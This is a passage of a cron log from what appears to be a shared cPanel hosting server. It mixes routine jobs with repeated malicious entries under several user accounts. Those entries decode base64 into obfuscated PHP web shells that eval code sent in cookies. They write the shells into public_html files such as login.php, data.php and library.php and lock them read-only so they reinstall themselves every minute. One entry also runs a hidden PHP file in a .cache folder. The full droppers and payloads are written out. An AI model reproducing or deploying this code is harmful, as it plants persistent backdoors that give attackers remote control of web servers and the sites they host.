cjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:02:01 medusa CROND[23451]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:02:01 medusa CROND[23453]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:02:01 medusa CROND[23456]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:02:01 medusa CROND[23458]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:02:01 medusa CROND[23460]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:02:01 medusa CROND[23468]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:03:01 medusa CROND[27262]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:03:01 medusa CROND[27263]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:03:01 medusa CROND[27264]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:03:01 medusa CROND[27265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:03:01 medusa CROND[27266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:03:01 medusa CROND[27267]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:03:01 medusa CROND[27275]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:03:01 medusa CROND[27282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:03:01 medusa CROND[27283]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:03:01 medusa CROND[27285]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:03:01 medusa CROND[27288]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:03:01 medusa CROND[27290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:04:01 medusa CROND[28908]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:04:01 medusa CROND[28909]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:04:01 medusa CROND[28910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:04:01 medusa CROND[28911]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:04:01 medusa CROND[28912]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:04:01 medusa CROND[28913]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:04:01 medusa CROND[28915]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAg